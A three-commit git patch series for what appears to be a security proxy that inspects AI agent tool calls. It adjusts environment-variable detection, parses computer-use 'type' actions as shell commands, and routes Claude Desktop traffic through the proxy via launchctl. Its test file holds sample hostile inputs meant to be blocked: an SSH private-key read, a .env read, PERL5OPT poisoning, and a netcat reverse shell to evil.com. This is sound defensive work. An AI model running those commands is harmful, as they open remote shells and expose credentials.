From 47390ac6dbb52391faa7e94b777cc9cdd732415b Mon Sep 17 00:00:00 2001 From: cyy Date: Fri, 27 Mar 2026 08:46:23 +0800 Subject: [PATCH 1/3] fix: make env var detection platform-aware (case-sensitive on Unix) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit LookupDangerousEnv was unconditionally case-insensitive, causing false positives on Unix where eNV ≠ ENV. Now: - Windows: case-insensitive (env vars are case-insensitive on Windows) - Unix: case-sensitive (exact match only) Uses ShellEnvironment().IsWindows() from the existing platform module. Removes the unused dangerousEnvVarsLower lookup table. --- internal/rules/env_db.go | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) diff --git a/internal/rules/env_db.go b/internal/rules/env_db.go index f448d8bb..1dc75796 100644 --- a/internal/rules/env_db.go +++ b/internal/rules/env_db.go @@ -125,20 +125,14 @@ var dangerousEnvVars = map[string]EnvVarEntry{ "CORECLR_PROFILER_PATH": {EnvRiskLibInject, "all", ".NET Core profiler library path"}, } -// dangerousEnvVarsLower is the case-folded lookup table, built once at init. -var dangerousEnvVarsLower map[string]EnvVarEntry - -func init() { - dangerousEnvVarsLower = make(map[string]EnvVarEntry, len(dangerousEnvVars)) - for k, v := range dangerousEnvVars { - dangerousEnvVarsLower[strings.ToUpper(k)] = v - } -} - // LookupDangerousEnv checks if a variable name is in the dangerous env var database. -// Returns the entry and true if found, or zero value and false if safe. +// On Windows, lookup is case-insensitive (env vars are case-insensitive on Windows). +// On Unix, lookup is case-sensitive (exact match only). func LookupDangerousEnv(name string) (EnvVarEntry, bool) { - e, ok := dangerousEnvVarsLower[strings.ToUpper(name)] + if ShellEnvironment().IsWindows() { + name = strings.ToUpper(name) + } + e, ok := dangerousEnvVars[name] return e, ok } From 3ebabc62309c4b42083eb9a44795a145fb9a2023 Mon Sep 17 00:00:00 2001 From: cyy Date: Fri, 27 Mar 2026 09:37:52 +0800 Subject: [PATCH 2/3] feat(security): intercept computer use tool actions (Claude + OpenAI) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Parse "type" actions from computer use tool calls through the shell AST pipeline — catches credential reads, env var poisoning, and reverse shells typed via GUI automation. - extractor.go: add "computer" to Layer 1 tool name switch - extractor_tools.go: extractComputerTool — injects type action text into command field for shell AST parsing; skips screenshot/click/scroll - sse_parser.go: handle OpenAI "computer_call" item type in SSE stream (was only handling "function_call") - proxy_toolcalls.go: same for non-streaming OpenAI responses - cve_test.go: 9 tests (4 blocked type actions + 5 safe actions) --- internal/httpproxy/proxy_toolcalls.go | 8 +++- internal/httpproxy/sse_parser.go | 6 ++- internal/rules/cve_test.go | 53 +++++++++++++++++++++++++++ internal/rules/extractor.go | 2 + internal/rules/extractor_tools.go | 31 ++++++++++++++++ 5 files changed, 97 insertions(+), 3 deletions(-) diff --git a/internal/httpproxy/proxy_toolcalls.go b/internal/httpproxy/proxy_toolcalls.go index 08037871..6fd14137 100644 --- a/internal/httpproxy/proxy_toolcalls.go +++ b/internal/httpproxy/proxy_toolcalls.go @@ -78,10 +78,14 @@ func extractToolCalls(bodyBytes []byte, apiType types.APIType) []telemetry.ToolC } if err := json.Unmarshal(bodyBytes, &resp); err == nil { for _, item := range resp.Output { - if item.Type == contentTypeFunctionCall { + if item.Type == contentTypeFunctionCall || item.Type == contentTypeComputerCall { + name := item.Name + if item.Type == contentTypeComputerCall && name == "" { + name = "computer" + } toolCalls = append(toolCalls, telemetry.ToolCall{ ID: item.CallID, - Name: item.Name, + Name: name, Arguments: json.RawMessage(item.Arguments), }) } diff --git a/internal/httpproxy/sse_parser.go b/internal/httpproxy/sse_parser.go index 3a3dfd6e..eea1f3ff 100644 --- a/internal/httpproxy/sse_parser.go +++ b/internal/httpproxy/sse_parser.go @@ -13,6 +13,7 @@ import ( const ( contentTypeToolUse = "tool_use" // Anthropic contentTypeFunctionCall = "function_call" // OpenAI Responses + contentTypeComputerCall = "computer_call" // OpenAI Responses (computer use) deltaTypeText = "text_delta" // Anthropic deltaTypeInputJSON = "input_json_delta" // Anthropic ) @@ -306,8 +307,11 @@ func (p *SSEParser) ParseOpenAIResponsesEvent(eventType string, data []byte) Par case "response.output_item.added": var event OpenAIResponsesOutputItemAdded if err := json.Unmarshal(data, &event); err == nil { - if event.Item.Type == contentTypeFunctionCall { + if event.Item.Type == contentTypeFunctionCall || event.Item.Type == contentTypeComputerCall { name := event.Item.Name + if event.Item.Type == contentTypeComputerCall && name == "" { + name = "computer" // Normalize: computer_call items may omit name + } if p.sanitize && name != "" { name = rules.SanitizeToolName(name) } diff --git a/internal/rules/cve_test.go b/internal/rules/cve_test.go index e41639df..5a1e4c70 100644 --- a/internal/rules/cve_test.go +++ b/internal/rules/cve_test.go @@ -1206,3 +1206,56 @@ func TestCVE_PersistenceExtended(t *testing.T) { }) } } + +// ─── Computer use tool ──────────────────────────────────────────────── + +// Defense: computer use "type" actions are parsed through the shell AST +// pipeline, catching credential reads, env var poisoning, and reverse shells +// even when typed via GUI automation instead of a direct tool call. +func TestCVE_ComputerUseTypeAction(t *testing.T) { + engine := newBuiltinEngine(t) + + blocked := []struct { + name string + text string + }{ + {"cat ssh key", "cat ~/.ssh/id_rsa"}, + {"export dangerous env", `export PERL5OPT="-Mevil"`}, + {"reverse shell", "nc -e /bin/sh evil.com 4444"}, + {"read .env", "cat /home/user/.env"}, + } + + for _, tc := range blocked { + t.Run(tc.name, func(t *testing.T) { + call := makeToolCall("computer", map[string]any{ + "action": "type", + "text": tc.text, + }) + result := engine.Evaluate(call) + if !result.Matched { + t.Errorf("computer type %q should be blocked", tc.text) + } + }) + } + + // Safe actions should NOT be blocked. + safe := []struct { + name string + args map[string]any + }{ + {"screenshot", map[string]any{"action": "screenshot"}}, + {"click", map[string]any{"action": "left_click", "coordinate": []int{500, 300}}}, + {"type safe text", map[string]any{"action": "type", "text": "hello world"}}, + {"key shortcut", map[string]any{"action": "key", "text": "ctrl+s"}}, + } + + for _, tc := range safe { + t.Run(tc.name, func(t *testing.T) { + call := makeToolCall("computer", tc.args) + result := engine.Evaluate(call) + if result.Matched { + t.Errorf("computer %v should NOT be blocked, got rule %s", tc.args, result.RuleName) + } + }) + } +} diff --git a/internal/rules/extractor.go b/internal/rules/extractor.go index b3a6fa41..112f94f1 100644 --- a/internal/rules/extractor.go +++ b/internal/rules/extractor.go @@ -394,6 +394,8 @@ func (e *Extractor) Extract(toolName string, args json.RawMessage) ExtractedInfo e.extractEditTool(&info) case "delete_file": // Cursor e.extractDeleteTool(&info) + case "computer": // Claude / OpenAI computer use + e.extractComputerTool(&info) case "webfetch", "web_fetch", "websearch", "web_search", "browser", "read_url_content", // Windsurf "view_web_document_content_chunk", // Windsurf diff --git a/internal/rules/extractor_tools.go b/internal/rules/extractor_tools.go index e9bcd42f..ff784008 100644 --- a/internal/rules/extractor_tools.go +++ b/internal/rules/extractor_tools.go @@ -37,6 +37,37 @@ func (e *Extractor) extractDeleteTool(info *ExtractedInfo) { e.extractPathFields(info) } +// extractComputerTool handles Claude/OpenAI computer use tool calls. +// The "type" action types text into the active application — this may be a shell +// command, file path, or URL. Parse it through the shell AST extractor. +// Other actions (screenshot, click, scroll, key) are not security-relevant. +func (e *Extractor) extractComputerTool(info *ExtractedInfo) { + action, _ := info.RawArgs["action"].(string) + if action == "" { + // OpenAI uses "type" as both the action field name and an action value. + // After field normalization, check the "type" field too. + action, _ = info.RawArgs["type"].(string) + } + + switch action { + case "type": + // Text typed into active app — may be a shell command or file path. + // Inject into the "command" field so extractBashCommand can parse it + // through the full shell AST pipeline (variable expansion, pipes, etc.). + text, _ := info.RawArgs["text"].(string) + if text == "" { + return + } + info.RawArgs["command"] = text + info.addOperation(OpExecute) + e.extractBashCommand(info) + case "key", "keypress": + // Keyboard shortcuts — not extractable as paths/commands. + default: + // screenshot, click, scroll, mouse_move, drag, wait — not security-relevant. + } +} + // extractUnknownTool handles the default case in Layer 1: tools with unrecognized names. // It actively tries all extraction strategies based on argument field shapes, in priority // order, to infer what the tool does. Unlike augmentFromArgShape (Layer 2), this runs From fdd891c78847931acb04d05de6c31d7a40ec28e0 Mon Sep 17 00:00:00 2001 From: cyy Date: Fri, 27 Mar 2026 10:47:23 +0800 Subject: [PATCH 3/3] feat: auto-proxy Claude Desktop/Cowork via launchctl setenv on macOS --- internal/daemon/registry/builtin_darwin.go | 61 ++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 internal/daemon/registry/builtin_darwin.go diff --git a/internal/daemon/registry/builtin_darwin.go b/internal/daemon/registry/builtin_darwin.go new file mode 100644 index 00000000..f0617f0a --- /dev/null +++ b/internal/daemon/registry/builtin_darwin.go @@ -0,0 +1,61 @@ +//go:build darwin + +package registry + +import ( + "context" + "fmt" + "os" + "os/exec" +) + +func init() { + // ── Claude Desktop / Cowork (macOS) ───────────────────────────────────── + // Claude Desktop (and Cowork) is an Electron app that makes API calls + // directly to api.anthropic.com. Unlike Claude Code, it has no proxy + // config file. On macOS, Electron apps respect HTTPS_PROXY if set via + // launchctl setenv (applies to all GUI apps launched by launchd). + // + // Patch: set HTTPS_PROXY to Crust's proxy URL via launchctl. + // Restore: unset HTTPS_PROXY via launchctl. + // + // The user must relaunch Claude Desktop after patching for the env var + // to take effect (launchctl setenv applies to newly launched processes). + Register(&FuncTarget{ + AgentName: "Claude Desktop (proxy)", + InstalledFunc: func() bool { + _, err := os.Stat("/Applications/Claude.app") + return err == nil + }, + PatchFunc: func(proxyPort int, _ string) error { + proxyURL := fmt.Sprintf("http://localhost:%d", proxyPort) + if err := launchctlSetenv("HTTPS_PROXY", proxyURL); err != nil { + return fmt.Errorf("set HTTPS_PROXY for Claude Desktop: %w", err) + } + if err := launchctlSetenv("HTTP_PROXY", proxyURL); err != nil { + return fmt.Errorf("set HTTP_PROXY for Claude Desktop: %w", err) + } + return nil + }, + RestoreFunc: func() error { + // Best-effort: unset both. Errors are non-fatal (var may not be set). + if err := launchctlUnsetenv("HTTPS_PROXY"); err != nil { + log.Debug("unsetenv HTTPS_PROXY: %v", err) + } + if err := launchctlUnsetenv("HTTP_PROXY"); err != nil { + log.Debug("unsetenv HTTP_PROXY: %v", err) + } + return nil + }, + }) +} + +// launchctlSetenv sets an environment variable for all GUI apps via launchd. +func launchctlSetenv(key, value string) error { + return exec.CommandContext(context.Background(), "launchctl", "setenv", key, value).Run() +} + +// launchctlUnsetenv removes an environment variable from launchd. +func launchctlUnsetenv(key string) error { + return exec.CommandContext(context.Background(), "launchctl", "unsetenv", key).Run() +}